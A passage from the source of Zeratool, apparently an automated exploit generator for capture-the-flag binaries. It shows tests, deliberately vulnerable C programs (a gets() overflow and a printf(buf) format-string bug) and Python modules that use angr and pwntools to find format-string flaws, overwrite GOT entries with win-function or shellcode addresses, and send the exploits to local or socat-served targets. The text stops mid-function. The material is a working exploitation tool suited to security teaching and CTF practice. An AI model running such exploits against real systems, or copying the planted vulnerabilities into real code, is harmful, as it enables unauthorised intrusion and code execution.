309 | only remote leaks
310 | """
311 | test_file = "tests/bin/bof_nx_64"
312 | input_type = "STDIN"
313 | properties = {"pwn_type": {}}
314 | properties["input_type"] = input_type
315 | properties["file"] = test_file
316 |
317 | properties["remote"] = {}
318 | properties["remote"]["url"] = "localhost"
319 | properties["remote"]["port"] = random.randint(2048, 3096)
320 |
321 | if which("socat") is None:
322 | pytest.skip("Socat not installed. Skipping remote test")
323 |
324 | socat_path = which("socat")
325 | socat_cmd = "{} TCP4-LISTEN:{},tcpwrap=script,reuseaddr,fork EXEC:{}"
326 | socat_cmd = socat_cmd.format(
327 | socat_path, properties["remote"]["port"], os.path.abspath(test_file)
328 | )
329 | socat_cmd = shlex.split(socat_cmd)
330 |
331 | # Run binary with socat
332 | p = multiprocessing.Process(target=subprocess.check_call, args=(socat_cmd,))
333 | p.start()
334 |
335 | with suppress():
336 | # Protections trigger exploit find type
337 | properties["protections"] = protectionDetector.getProperties(test_file)
338 |
339 | properties["libc"] = overflowRemoteLeaker.leak_remote_functions(
340 | test_file, properties, inputType=properties["input_type"]
341 | )
342 |
343 | assert properties["libc"] is not None
344 |
345 | properties["pwn_type"]["results"] = {}
346 | properties["pwn_type"]["results"] = overflowExploiter.exploitOverflow(
347 | test_file, properties, inputType=properties["input_type"]
348 | )
349 | assert properties["pwn_type"]["results"]["type"] is not None
350 |
351 | properties["remote_results"] = overflowExploitSender.sendExploit(
352 | test_file,
353 | properties,
354 | remote_server=True,
355 | remote_url=properties["remote"]["url"],
356 | port_num=properties["remote"]["port"],
357 | )
358 |
359 | assert properties["remote_results"] is not None
360 |
361 | p.kill()
362 |
363 |
364 | """
365 | zerapwn.py /home/chris/projects/Zeratool/tests/bin/bof_dlresolve_64 \
366 | --force_dlresolve --skip_check --overflow_only --no_win
367 | """
368 |
369 |
370 | def test_pwn_dlresolve_64():
371 | test_file = "tests/bin/bof_dlresolve_64"
372 | input_type = "STDIN"
373 | properties = {"pwn_type": {}}
374 | properties["input_type"] = input_type
375 | properties["file"] = test_file
376 |
377 | properties["force_dlresolve"] = True
378 | properties["win_functions"] = []
379 | properties["pwn_type"]["type"] = "Overflow"
380 | with suppress():
381 | # Protections trigger exploit find type
382 | properties["protections"] = protectionDetector.getProperties(test_file)
383 |
384 | with suppress():
385 | properties["pwn_type"]["results"] = overflowExploiter.exploitOverflow(
386 | test_file, properties, inputType=input_type
387 | )
388 | assert properties["pwn_type"]["results"]["type"] == "dlresolve"
389 |
390 | properties["send_results"] = overflowExploitSender.sendExploit(
391 | test_file, properties
392 | )
393 |
394 | assert properties["send_results"]["flag_found"] == True
395 |
--------------------------------------------------------------------------------
/tests/buffer_overflow.c:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | #ifdef win_func
4 | void print_flag()
5 | {
6 | puts("flag{you_did_it}");
7 | system("cat flag.txt");
8 | }
9 | #endif
10 |
11 | #ifdef srop_func
12 | __attribute__((naked)) void syscall_gad()
13 | {
14 | __asm__("syscall");
15 | __asm__("ret");
16 | }
17 | __attribute__((naked)) void pop_rax()
18 | {
19 | __asm__("pop %rax");
20 | __asm__("ret");
21 | }
22 | __attribute__((naked)) void pop_rdi()
23 | {
24 | __asm__("pop %rdi");
25 | __asm__("ret");
26 | }
27 | #endif
28 |
29 | #ifdef dlresolve_read_func
30 |
31 | void give_gadgets()
32 | {
33 | __asm__("pop %rdx");
34 | __asm__("ret");
35 | }
36 |
37 | int pwn_me()
38 | {
39 | char my_buf[20] = {'\x00'};
40 | printf("Your buffer is at %p\n", my_buf);
41 | read(0, my_buf, 230);
42 | return 0;
43 | }
44 |
45 | #else
46 |
47 | int pwn_me()
48 | {
49 | char my_buf[20] = {'\x00'};
50 | printf("Your buffer is at %p\n", my_buf);
51 | gets(my_buf);
52 | return 0;
53 | }
54 |
55 | #endif
56 |
57 |
58 |
59 | void does_nothing()
60 | {
61 | puts("/bin/sh");
62 | execve(NULL,NULL,NULL);
63 | }
64 |
65 | __attribute__ ((constructor)) void ignore_me()
66 | {
67 | setbuf(stdout, NULL);
68 | setbuf(stdin, NULL);
69 | }
70 |
71 | void main()
72 | {
73 |
74 | puts("pwn_me:");
75 | pwn_me();
76 | }
--------------------------------------------------------------------------------
/tests/format_string.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | /*
6 | * compiled with:
7 | * gcc -O0 -fno-stack-protector -o hard -z execstack -z norelro hard.c
8 | * run with:
9 | * socat TCP4-LISTEN:7803,tcpwrap=script,reuseaddr,fork EXEC:./hard
10 | */
11 |
12 | #define FLAG_NAME "flag.txt"
13 |
14 | #ifdef MEDIUM
15 | /*
16 | * Test for point to win
17 | */
18 | void secret_function(void) {
19 | char key[50] = {0};
20 | FILE *pFile = NULL;
21 | pFile = fopen(FLAG_NAME, "r");
22 | fread(key, sizeof(key), 1, pFile);
23 | printf("The flag is %s\n", key);
24 | system("cat flag.txt");
25 | }
26 | #endif
27 |
28 | int main(int argc, char *argv[])
29 | {
30 | int i = 0;
31 |
32 | #ifdef EASY
33 | char buf[1024];
34 | fgets(buf, 1024, stdin);
35 | /*
36 | * Test for stack reading
37 | */
38 | char key[64]={};
39 | FILE *pKey = fopen(FLAG_NAME, "r");
40 | if (pKey == NULL)
41 | {
42 | printf("No .pass\nContact admin\n");
43 | return -1;
44 | }
45 | fread(&key, sizeof(key), 1, pKey);
46 | fclose(pKey);
47 | #endif
48 |
49 | #ifdef MEDIUM
50 | char buf[256];
51 | read(0, buf, 256);
52 | #endif
53 |
54 | #ifdef HARD
55 | char buf[1024];
56 | /* read user input securely */
57 | fgets(buf, 1024, stdin);
58 | /*
59 | * Test for point to shellcode AND
60 | * satisfy constraints
61 | */
62 | /* convert string to lowercase */
63 | for (i = 0; i < strlen(buf); i++)
64 | if (buf[i] >= 'A' && buf[i] <= 'Z')
65 | buf[i] = buf[i] ^ 0x20;
66 | #endif
67 |
68 | /* print out our nice and new lowercase string */
69 | printf(buf);
70 |
71 | exit(EXIT_SUCCESS);
72 | return EXIT_FAILURE;
73 | }
74 |
--------------------------------------------------------------------------------
/tests/format_test.py:
--------------------------------------------------------------------------------
1 | import os
2 | import pytest
3 |
4 | os.environ["PWNLIB_NOTERM"] = "1"
5 | from zeratool import winFunctionDetector
6 | from zeratool import protectionDetector
7 | from zeratool import formatDetector
8 | from zeratool import formatLeak
9 | from zeratool import formatExploiter
10 |
11 |
12 | from contextlib import redirect_stdout, redirect_stderr, contextmanager, ExitStack
13 |
14 |
15 | @contextmanager
16 | def suppress(out=True, err=False):
17 | with ExitStack() as stack:
18 | with open(os.devnull, "w") as null:
19 | if out:
20 | stack.enter_context(redirect_stdout(null))
21 | if err:
22 | stack.enter_context(redirect_stderr(null))
23 | yield
24 |
25 |
26 | def test_detect_32():
27 | with suppress():
28 | test_file = "tests/bin/read_stack_32"
29 | input_type = "STDIN"
30 | pwn_type = formatDetector.checkFormat(test_file, inputType=input_type)
31 | assert pwn_type["type"] == "Format"
32 |
33 |
34 | def test_detect_64():
35 | with suppress():
36 | test_file = "tests/bin/read_stack_64"
37 | input_type = "STDIN"
38 | pwn_type = formatDetector.checkFormat(test_file, inputType=input_type)
39 | assert pwn_type["type"] == "Format"
40 |
41 |
42 | def test_leak_32():
43 | with suppress():
44 | test_file = "tests/bin/read_stack_32"
45 | properties = {"pwn_type": {}, "pwn": {}, "input_type": "STDIN"}
46 |
47 | properties["protections"] = protectionDetector.getProperties(test_file)
48 | assert properties["protections"]["arch"]
49 |
50 | with suppress():
51 | properties["pwn_type"] = formatDetector.checkFormat(
52 | test_file, inputType=properties["input_type"]
53 | )
54 |
55 | assert properties["pwn_type"]["type"] == "Format"
56 | with suppress():
57 | properties["pwn"] = formatLeak.checkLeak(test_file, properties)
58 | assert properties["pwn"]["flag_found"] == True
59 |
60 |
61 | def test_leak_64():
62 | test_file = "tests/bin/read_stack_64"
63 | properties = {"pwn_type": {}, "pwn": {}, "input_type": "STDIN"}
64 |
65 | with suppress():
66 | properties["protections"] = protectionDetector.getProperties(test_file)
67 | assert properties["protections"]["arch"]
68 |
69 | with suppress():
70 | properties["pwn_type"] = formatDetector.checkFormat(
71 | test_file, inputType=properties["input_type"]
72 | )
73 |
74 | assert properties["pwn_type"]["type"] == "Format"
75 | with suppress():
76 | properties["pwn"] = formatLeak.checkLeak(test_file, properties)
77 | assert properties["pwn"]["flag_found"] == True
78 |
79 |
80 | def test_win_32():
81 | test_file = "tests/bin/format_pc_write_32"
82 | properties = {"pwn_type": {}, "pwn": {}, "input_type": "STDIN"}
83 |
84 | with suppress():
85 | properties["protections"] = protectionDetector.getProperties(test_file)
86 | assert properties["protections"]["arch"]
87 |
88 | with suppress():
89 | properties["win_functions"] = winFunctionDetector.getWinFunctions(test_file)
90 | print(properties["win_functions"])
91 | assert "sym.secret_function" in properties["win_functions"]
92 |
93 | with suppress():
94 | properties["pwn_type"] = formatDetector.checkFormat(
95 | test_file, inputType=properties["input_type"]
96 | )
97 | assert properties["pwn_type"]["type"] == "Format"
98 |
99 | with suppress():
100 | properties["pwn_type"]["results"] = formatExploiter.exploitFormat(
101 | test_file, properties
102 | )
103 |
104 | assert "flag_found" in properties["pwn_type"]["results"].keys()
105 |
106 |
107 | def test_win_64():
108 | import logging
109 |
110 | logging.basicConfig()
111 | logging.root.setLevel(logging.INFO)
112 | test_file = "tests/bin/format_pc_write_64"
113 | properties = {"pwn_type": {}, "pwn": {}, "input_type": "STDIN"}
114 |
115 | with suppress():
116 | properties["pwn_type"] = formatDetector.checkFormat(
117 | test_file, inputType=properties["input_type"]
118 | )
119 | assert properties["pwn_type"]["type"] == "Format"
120 |
121 | with suppress():
122 | properties["protections"] = protectionDetector.getProperties(test_file)
123 | assert properties["protections"]["arch"]
124 |
125 | with suppress():
126 | properties["win_functions"] = winFunctionDetector.getWinFunctions(test_file)
127 | assert "sym.secret_function" in properties["win_functions"]
128 |
129 | with suppress():
130 | properties["pwn_type"]["results"] = formatExploiter.exploitFormat(
131 | test_file, properties
132 | )
133 |
134 | assert "flag_found" in properties["pwn_type"]["results"].keys()
135 |
--------------------------------------------------------------------------------
/tox.ini:
--------------------------------------------------------------------------------
1 | [tox]
2 | envlist = py3
3 | #skipsdist = true
4 |
5 | [testenv]
6 | deps = pytest
7 | commands = python -m pytest -s -v
8 |
--------------------------------------------------------------------------------
/zeratool/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ChrisTheCoolHut/Zeratool/3fb3262907d5ca7ed9f858472abaabd5e6a45637/zeratool/__init__.py
--------------------------------------------------------------------------------
/zeratool/formatDetector.py:
--------------------------------------------------------------------------------
1 | import angr
2 | from angr import sim_options as so
3 | import claripy
4 | import time
5 | import timeout_decorator
6 | import tqdm
7 | from zeratool import printf_model
8 | import logging
9 |
10 | log = logging.getLogger(__name__)
11 |
12 |
13 | def checkFormat(binary_name, inputType="STDIN"):
14 |
15 | p = angr.Project(binary_name, load_options={"auto_load_libs": False})
16 |
17 | # Stdio based ones
18 | p.hook_symbol("printf", printf_model.printFormat(0))
19 | p.hook_symbol("fprintf", printf_model.printFormat(1))
20 | p.hook_symbol("dprintf", printf_model.printFormat(1))
21 | p.hook_symbol("sprintf", printf_model.printFormat(1))
22 | p.hook_symbol("snprintf", printf_model.printFormat(2))
23 |
24 | # Stdarg base ones
25 | p.hook_symbol("vprintf", printf_model.printFormat(0))
26 | p.hook_symbol("vfprintf", printf_model.printFormat(1))
27 | p.hook_symbol("vdprintf", printf_model.printFormat(1))
28 | p.hook_symbol("vsprintf", printf_model.printFormat(1))
29 | p.hook_symbol("vsnprintf", printf_model.printFormat(2))
30 |
31 | extras = {so.REVERSE_MEMORY_NAME_MAP, so.TRACK_ACTION_HISTORY, so.TRACK_CONSTRAINTS}
32 | # Setup state based on input type
33 | argv = [binary_name]
34 | input_arg = claripy.BVS("input", 300 * 8)
35 | if inputType == "STDIN":
36 | state = p.factory.full_init_state(
37 | args=argv,
38 | stdin=input_arg,
39 | add_options=extras,
40 | )
41 | state.globals["user_input"] = input_arg
42 | elif inputType == "LIBPWNABLE":
43 | handle_connection = p.loader.main_object.get_symbol("handle_connection")
44 | state = p.factory.entry_state(
45 | addr=handle_connection.rebased_addr,
46 | add_options=extras,
47 | )
48 | state.globals["user_input"] = input_arg
49 | else:
50 | argv.append(input_arg)
51 | state = p.factory.full_init_state(
52 | args=argv,
53 | add_options=extras,
54 | )
55 | state.globals["user_input"] = input_arg
56 |
57 | state.libc.buf_symbolic_bytes = 0x100
58 | state.globals["inputType"] = inputType
59 | simgr = p.factory.simgr(state, save_unconstrained=True)
60 |
61 | run_environ = {}
62 | run_environ["type"] = None
63 | end_state = None
64 | # Lame way to do a timeout
65 | try:
66 |
67 | @timeout_decorator.timeout(1200)
68 | def exploreBinary(simgr):
69 | simgr.explore(find=lambda s: "type" in s.globals)
70 |
71 | exploreBinary(simgr)
72 | if "found" in simgr.stashes and len(simgr.found):
73 | end_state = simgr.found[0]
74 | run_environ["type"] = end_state.globals["type"]
75 | run_environ["position"] = end_state.globals["position"]
76 | run_environ["length"] = end_state.globals["length"]
77 |
78 | except (KeyboardInterrupt, timeout_decorator.TimeoutError) as e:
79 | print("[~] Format check timed out")
80 |
81 | if "input" in end_state.globals.keys():
82 | run_environ["input"] = end_state.globals["input"]
83 | print("[+] Triggerable with input : {}".format(end_state.globals["input"]))
84 |
85 | return run_environ
86 |
--------------------------------------------------------------------------------
/zeratool/formatExploiter.py:
--------------------------------------------------------------------------------
1 | import angr
2 | from angr import sim_options as so
3 | import claripy
4 | from pwn import *
5 | from zeratool import printf_model
6 | from .overflowExploiter import getRegValues, findShellcode
7 | from .simgr_helper import getShellcode
8 | import timeout_decorator
9 | import time
10 | import string
11 | import logging
12 |
13 | log = logging.getLogger(__name__)
14 |
15 |
16 | def exploitFormat(binary_name, properties):
17 |
18 | exploit_results = {}
19 | exploit_results["flag_found"] = False
20 |
21 | input_pos = properties["pwn_type"]["position"]
22 | input_len = properties["pwn_type"]["length"]
23 | input_string = properties["pwn_type"]["input"]
24 |
25 | if "64" in properties["protections"]["arch"]:
26 | context.arch = "amd64"
27 |
28 | # Slice constrolled input
29 | start_slice = input_string[:input_pos]
30 | end_slice = input_string[input_pos + input_len :]
31 |
32 | format_specifier = b"lx"
33 | format_prefix = b"aaaa_%"
34 | if "amd64" in properties["protections"]["arch"]:
35 | format_specifier = b"llx"
36 | format_prefix = b"aaaaaaaa_%"
37 |
38 | stack_position = -1
39 | log.info("[~] Locating buffer stack location")
40 | # Determine stack location
41 | for i in range(1, 50):
42 | iter_byte = str(i).encode()
43 | iter_string = format_prefix + iter_byte + b"$" + format_specifier + b"_"
44 | iter_string = assembleInput(iter_string, start_slice, end_slice, input_len)
45 | log.info(iter_string)
46 | results = runIteration(
47 | binary_name, iter_string, input_type=properties["input_type"]
48 | )
49 | if b"61616161" in results: # 0x41414141 == "AAAA"
50 | stack_position = i
51 | log.info("[+] Found stack location at {}".format(stack_position))
52 | break
53 |
54 | if stack_position == -1:
55 | log.info("Could not find stack position")
56 | return None
57 |
58 | if len(properties["win_functions"]) > 0:
59 | for func in properties["win_functions"]:
60 | address = properties["win_functions"][func]["fcn_addr"]
61 | for got_name, got_addr in list(properties["protections"]["got"].items()):
62 | log.info("[~] Overwritting {} -> {}".format(got_name, hex(address)))
63 | writes = {got_addr: address}
64 | format_payload = fmtstr_payload(
65 | stack_position, writes, numbwritten=input_pos
66 | )
67 | if len(format_payload) > input_len or True:
68 | log.info("[~] Format input to large, shrinking")
69 | format_payload = fmtstr_payload(
70 | stack_position,
71 | writes,
72 | numbwritten=input_pos,
73 | write_size="short",
74 | )
75 |
76 | format_input = assembleInput(
77 | format_payload, start_slice, end_slice, input_len
78 | )
79 |
80 | log.info(repr(format_input))
81 | results = sendExploit(binary_name, properties, format_input)
82 | if results["flag_found"]:
83 | exploit_results["flag_found"] = results["flag_found"]
84 | exploit_results["input"] = format_input
85 | return exploit_results
86 | return exploit_results
87 | elif not properties["protections"]["nx"]:
88 | log.info("[+] Binary does not have NX")
89 | log.info("[+] Overwriting GOT entry to point to shellcode")
90 | rediscoverAndExploit(binary_name, properties, stack_position)
91 | else:
92 | log.info("[+] Overwriting GOT entry to point to one gadget RCE")
93 |
94 |
95 | """
96 | Run until we hit our hooked printf.
97 | Constrain input to crafted string:
98 | String = (Format GOT Write) + (Shellcode)
99 | """
100 |
101 |
102 | def rediscoverAndExploit(binary_name, properties, stack_position):
103 |
104 | properties["shellcode"] = getShellcode(properties)
105 | properties["stack_position"] = stack_position
106 | inputType = properties["input_type"]
107 |
108 | extras = {so.REVERSE_MEMORY_NAME_MAP, so.TRACK_ACTION_HISTORY, so.TRACK_CONSTRAINTS}
109 |
110 | # p = angr.Project(binary_name,load_options={"auto_load_libs": False})
111 | p = angr.Project(binary_name, load_options={"auto_load_libs": False})
112 |
113 | p.hook_symbol("printf", printFormatSploit())
114 |
115 | # Setup state based on input type
116 | argv = [binary_name]
117 | input_arg = claripy.BVS("input", 400 * 8)
118 | if inputType == "STDIN":
119 | """
120 | angr doesn't use the right base and stack pointers
121 | when loading the binary, so our addresses are all wrong.
122 | So we need to grab them manually
123 | """
124 | entryAddr = p.loader.main_object.entry
125 | reg_values = getRegValues(binary_name, entryAddr)
126 | state = p.factory.full_init_state(
127 | args=argv,
128 | add_options=extras,
129 | stdin=input_arg,
130 | env=os.environ,
131 | )
132 |
133 | register_names = list(state.arch.register_names.values())
134 | for register in register_names:
135 | if register in reg_values: # Didn't use the register
136 | state.registers.store(register, reg_values[register])
137 |
138 | elif inputType == "LIBPWNABLE":
139 | handle_connection = p.loader.main_object.get_symbol("handle_connection")
140 | start_addr = handle_connection.rebased_addr
141 |
142 | reg_values = getRegValues(binary_name, start_addr)
143 |
144 | state = p.factory.entry_state(
145 | args=argv,
146 | env=os.environ,
147 | addr=start_addr,
148 | add_options=extras,
149 | stdin=input_arg,
150 | )
151 |
152 | register_names = list(state.arch.register_names.values())
153 | for register in register_names:
154 | if register in reg_values: # Didn't use the register
155 | state.registers.store(register, reg_values[register])
156 |
157 | else:
158 | arg = claripy.BVS("arg1", 300 * 8)
159 | argv.append(arg)
160 | state = p.factory.full_init_state(args=argv)
161 | state.globals["arg"] = arg
162 |
163 | state.libc.buf_symbolic_bytes = 0x100
164 | state.globals["user_input"] = input_arg
165 | state.globals["inputType"] = inputType
166 | state.globals["properties"] = properties
167 | simgr = p.factory.simgr(state)
168 |
169 | run_environ = {}
170 | run_environ["type"] = None
171 | end_state = None
172 | # Lame way to do a timeout
173 | try:
174 |
175 | @timeout_decorator.timeout(1200)
176 | def exploreBinary(simgr):
177 | simgr.explore(find=lambda s: "type" in s.globals)
178 |
179 | exploreBinary(simgr)
180 | if "found" in simgr.stashes and len(simgr.found):
181 | end_state = simgr.found[0]
182 | run_environ["type"] = end_state.globals["type"]
183 | run_environ["position"] = end_state.globals["position"]
184 | run_environ["length"] = end_state.globals["length"]
185 |
186 | except (KeyboardInterrupt, timeout_decorator.TimeoutError) as e:
187 | log.info("[~] Format check timed out")
188 | if (inputType == "STDIN" or inputType == "LIBPWNABLE") and end_state is not None:
189 | stdin_str = str(end_state.posix.dumps(0))
190 | log.info("[+] Triggerable with STDIN : {}".format(stdin_str))
191 | run_environ["input"] = stdin_str
192 | elif inputType == "ARG" and end_state is not None:
193 | arg_str = str(end_state.solver.eval(arg, cast_to=str))
194 | run_environ["input"] = arg_str
195 | log.info("[+] Triggerable with arg : {}".format(arg_str))
196 |
197 | return run_environ
198 |
199 | pass
200 |
201 |
202 | def get_num_constraints(chop_byte, state):
203 | constraints = state.solver.constraints
204 | i = 0
205 | # Do any constraints mention this BV?
206 | for constraint in constraints:
207 | if any(
208 | chop_byte.structurally_match(x) for x in constraint.recursive_children_asts
209 | ):
210 | i += 1
211 | # log.info("{} : {} : {}".format(chop_byte,i,state.solver.eval(chop_byte,cast_to=bytes)))
212 | return i
213 |
214 |
215 | # Better symbolic strlen
216 | def get_max_strlen(state, value):
217 | i = 0
218 | for c in value.chop(8): # Chop by byte
219 | i += 1
220 | if not state.solver.satisfiable([c != 0x00]):
221 | log.debug("Found the null at offset : {}".format(i))
222 | return i - 1
223 | return i
224 |
225 |
226 | def get_trimmed_input(user_input, state):
227 | trim_index = -1
228 | index = 0
229 | for c in user_input.chop(8):
230 | num_constraints = get_num_constraints(c, state)
231 | if num_constraints == 0 and trim_index == -1:
232 | trim_index = index
233 | else:
234 | trim_index == -1
235 | index += 1
236 |
237 | input_bytes = state.solver.eval(user_input, cast_to=bytes)
238 |
239 | if trim_index > 0:
240 | log.debug("Found input without constraints starting at {}".format(trim_index))
241 | return input_bytes[:trim_index]
242 |
243 | return input_bytes
244 |
245 |
246 | class printFormatSploit(angr.procedures.libc.printf.printf):
247 | IS_FUNCTION = True
248 |
249 | def checkExploitable(self, fmt):
250 | """
251 | For each value passed to printf
252 | Check to see if there are any symbolic bytes
253 | Passed in that we control
254 | """
255 | bits = self.state.arch.bits
256 | load_len = int(bits / 8)
257 | max_read_len = 1024
258 | """
259 | For each value passed to printf
260 | Check to see if there are any symbolic bytes
261 | Passed in that we control
262 | """
263 | i = 0
264 | state = self.state
265 | solv = state.solver.eval
266 | properties = self.state.globals["properties"]
267 |
268 | # fmt_len = self._sim_strlen(fmt)
269 | # # We control format specifier and strlen isn't going to be helpful,
270 | # # just set it ourselves
271 | # if len(state.solver.eval_upto(fmt_len,2)) > 1:
272 | # while not state.satisfiable(extra_constraints=[fmt_len == max_read_len]):
273 | # max_read_len -=1
274 | # if max_read_len < 0:
275 | # raise Exception("fmt string with no length!")
276 | # state.add_constraints(fmt_len == max_read_len)
277 |
278 | printf_arg = self.arguments[i]
279 |
280 | var_loc = solv(printf_arg)
281 |
282 | # Parts of this argument could be symbolic, so we need
283 | # to check every byte
284 | var_data = state.memory.load(var_loc, max_read_len)
285 | var_len = get_max_strlen(state, var_data)
286 |
287 | fmt_len = self._sim_strlen(fmt)
288 | # if len(state.solver.eval_upto(fmt_len,2)) > 1:
289 | # state.add_constraints(fmt_len == var_len)
290 |
291 | # Reload with just our max len
292 | var_data = state.memory.load(var_loc, var_len)
293 |
294 | log.info("Building list of symbolic bytes")
295 | symbolic_list = [
296 | state.memory.load(var_loc + x, 1).symbolic for x in range(var_len)
297 | ]
298 | log.info("Done Building list of symbolic bytes")
299 |
300 | """
301 | Iterate over the characters in the string
302 | Checking for where our symbolic values are
303 | This helps in weird cases like:
304 |
305 | char myVal[100] = "I\'m cool ";
306 | strcat(myVal,STDIN);
307 | printf("My super cool string is %s",myVal); """
308 | position = 0
309 | count = 0
310 | greatest_count = 0
311 | prev_item = symbolic_list[0]
312 | for sym_i in range(1, len(symbolic_list)):
313 | if (
314 | symbolic_list[sym_i]
315 | and symbolic_list[sym_i] == symbolic_list[sym_i - 1]
316 | ):
317 | count = count + 1
318 | if count > greatest_count:
319 | greatest_count = count
320 | position = sym_i - count
321 | else:
322 | if count > greatest_count:
323 | greatest_count = count
324 | position = sym_i - 1 - count
325 | # previous position minus greatest count
326 | count = 0
327 | log.info(
328 | "[+] Found symbolic buffer at position {} of length {}".format(
329 | position, greatest_count
330 | )
331 | )
332 |
333 | if greatest_count > 0:
334 | shellcode = properties["shellcode"]
335 | stack_pos = properties["stack_position"]
336 |
337 | for got_name, got_addr in list(properties["protections"]["got"].items()):
338 | # for got_name,got_addr in [(x,y) for (x,y) in properties['protections']['got'].items() if x in " exit"]: #debug for hard_format
339 | backup_state = state.copy()
340 | log.info("[+] Overwiting {} at {}".format(got_name, hex(got_addr)))
341 |
342 | solv = state.solver.eval
343 |
344 | # Mock write to get approx length
345 | buffer_address = var_loc + position
346 | writes = {got_addr: buffer_address} # Begining of buffer
347 | format_write = fmtstr_payload(
348 | stack_pos, writes, numbwritten=position, write_size="short"
349 | )
350 | write_len = len(format_write)
351 |
352 | # Real write
353 | buffer_address = var_loc + position + write_len
354 | writes = {got_addr: buffer_address}
355 | format_write = fmtstr_payload(
356 | stack_pos, writes, numbwritten=position, write_size="short"
357 | )
358 |
359 | # Final payload
360 | if isinstance(shellcode, str):
361 | shellcode = shellcode.encode()
362 | format_payload = format_write + shellcode
363 |
364 | var_value_length = len(format_payload)
365 | self.constrainBytes(
366 | state,
367 | var_data,
368 | var_loc,
369 | position,
370 | var_value_length,
371 | strVal=format_payload,
372 | )
373 |
374 | user_input = state.globals["user_input"]
375 | user_input = get_trimmed_input(user_input, state)
376 |
377 | log.info("[+] Format buffer at {}".format(hex(var_loc)))
378 | log.info("[+] Shellcode located at {}".format(hex(buffer_address)))
379 | log.info("[+] Format write:\n{}".format(repr(format_write)))
380 | log.info("[+] Constructed payload:\n{}".format(repr(format_payload)))
381 | log.info("[+] Constructed stdout:\n{}".format(repr(user_input)))
382 |
383 | vuln_string = solv(var_data, cast_to=bytes)
384 |
385 | binary_name = state.project.filename
386 | results = {}
387 | results["flag_found"] = False
388 | log.info("[~] Testing payload")
389 |
390 | results = sendExploit(binary_name, properties, user_input)
391 | if results["flag_found"] == True:
392 | exploit_results["flag_found"] = results["flag_found"]
393 | exploit_results["input"] = format_input
394 | else: # Maybe angr still messed up the pointer
395 | log.info("[-] Payload launch failed. Fixing angr stack pointer")
396 |
397 | # Find the last basic block executed
398 |
399 | first_input = state.posix.dumps(0)
400 |
401 | end_eip = state.se.eval(state.regs.pc)
402 |
403 | last_bb = [
404 | x
405 | for x in state.history.bbl_addrs
406 | if state.project.loader.main_object.contains_addr(x)
407 | ][-1]
408 | last_bb_addr = last_bb # int(last_bb.split(' ')[2].rstrip(':'),16) #I'm sorry I'm parsing like this
409 |
410 | if isinstance(shellcode, str):
411 | shellcode = shellcode.encode()
412 |
413 | ret_location = findShellcode(
414 | binary_name, last_bb_addr, shellcode, first_input
415 | )
416 |
417 | if len(ret_location) == 0:
418 | log.info(
419 | "[-] Unable to find shellcode location for corrected stack"
420 | )
421 | finish_pointer = False
422 | else:
423 | real_location = ret_location["offset"]
424 | finish_pointer = True
425 |
426 | if finish_pointer:
427 |
428 | state_copy = backup_state.copy()
429 |
430 | solv = state_copy.solver.eval
431 |
432 | printf_arg = self.arguments[i]
433 |
434 | var_loc = solv(printf_arg) # Assume it's a pointer
435 |
436 | if var_loc == 0:
437 | log.info(
438 | "[-] Value at stack offset {} not a pointer".format(i)
439 | )
440 | continue
441 |
442 | var_value = state_copy.memory.load(var_loc, var_len)
443 |
444 | var_value_length = int("0x" + str(var_value.length), 16)
445 |
446 | writes = {got_addr: real_location}
447 | format_write = fmtstr_payload(
448 | stack_pos,
449 | writes,
450 | numbwritten=position,
451 | write_size="short",
452 | )
453 | format_payload = format_write + properties["shellcode"]
454 | var_value_length = len(format_payload)
455 | self.constrainBytes(
456 | state_copy,
457 | var_value,
458 | var_loc,
459 | position,
460 | var_value_length,
461 | strVal=format_payload,
462 | )
463 |
464 | user_input = state_copy.globals["user_input"]
465 | user_input = get_trimmed_input(user_input, state_copy)
466 |
467 | log.info(
468 | "[+] Shellcode located at {}".format(hex(real_location))
469 | )
470 | log.info(
471 | "[+] Adjusted payload:\n{}".format(repr(format_payload))
472 | )
473 | log.info("[+] Constructed stdout:\n{}".format(repr(user_input)))
474 |
475 | with open("command.input", "wb") as f:
476 | f.write(user_input)
477 |
478 | results_n = sendExploit(
479 | binary_name,
480 | properties,
481 | user_input,
482 | )
483 | if results_n["flag_found"]:
484 | log.info(
485 | "[+] Vulnerable path found {}".format(repr(user_input))
486 | )
487 | self.state.globals["type"] = "Format"
488 | self.state.globals["position"] = position
489 | self.state.globals["length"] = greatest_count
490 | return True
491 |
492 | # exploit_results['flag_found'] = results_n['flag_found']
493 | # exploit_results['input'] = format_input
494 |
495 | # Verify solution
496 | if (
497 | state_copy.globals["inputType"] == "STDIN"
498 | or state_copy.globals["inputType"] == "LIBPWNABLE"
499 | ) and results_n["flag_found"]:
500 | stdin_str = str(state_copy.posix.dumps(0))
501 | if format_payload in stdin_str or results["flag_found"]:
502 | var_value = self.state.memory.load(var_loc, var_len)
503 | self.constrainBytes(
504 | self.state,
505 | var_value,
506 | var_loc,
507 | position,
508 | var_value_length,
509 | strVal=format_payload,
510 | )
511 | log.info("[+] Vulnerable path found {}".format(vuln_string))
512 | self.state.globals["type"] = "Format"
513 | self.state.globals["position"] = position
514 | self.state.globals["length"] = greatest_count
515 |
516 | return True
517 | if state_copy.globals["inputType"] == "ARG":
518 | arg = state.globals["arg"]
519 | arg_str = str(state_copy.solver.eval(arg, cast_to=str))
520 | if format_payload in arg_str:
521 | var_value = self.state.memory.load(var_loc)
522 | self.constrainBytes(
523 | self.state,
524 | var_value,
525 | var_loc,
526 | position,
527 | var_value_length,
528 | strVal=format_payload,
529 | )
530 | log.info("[+] Vulnerable path found {}".format(vuln_string))
531 | self.state.globals["type"] = "Format"
532 | self.state.globals["position"] = position
533 | self.state.globals["length"] = greatest_count
534 | return True
535 | state_copy = backup_state.copy()
536 |
537 | return False
538 |
539 | def constrainBytes(self, state, symVar, loc, position, length, strVal="%x_"):
540 | total_region = self.state.memory.load(loc, length)
541 | total_format = strVal * length
542 | # If we can constrain it all in one go, then let's do it!
543 | if state.solver.satisfiable(
544 | extra_constraints=[total_region == total_format[:length]]
545 | ):
546 | log.info("Can constrain it all, let's go!")
547 | state.add_constraints(total_region == total_format[:length])
548 | return
549 |
550 | for i in range(length):
551 | strValIndex = i % len(strVal)
552 | curr_byte = self.state.memory.load(loc + i, 1).get_byte(0)
553 | constraint = state.se.And(strVal[strValIndex] == curr_byte)
554 | if state.se.satisfiable(extra_constraints=[constraint]):
555 | state.add_constraints(constraint)
556 | else:
557 | log.info(
558 | "[~] Byte {} not constrained to {}".format(
559 | i, repr(strVal[strValIndex])
560 | )
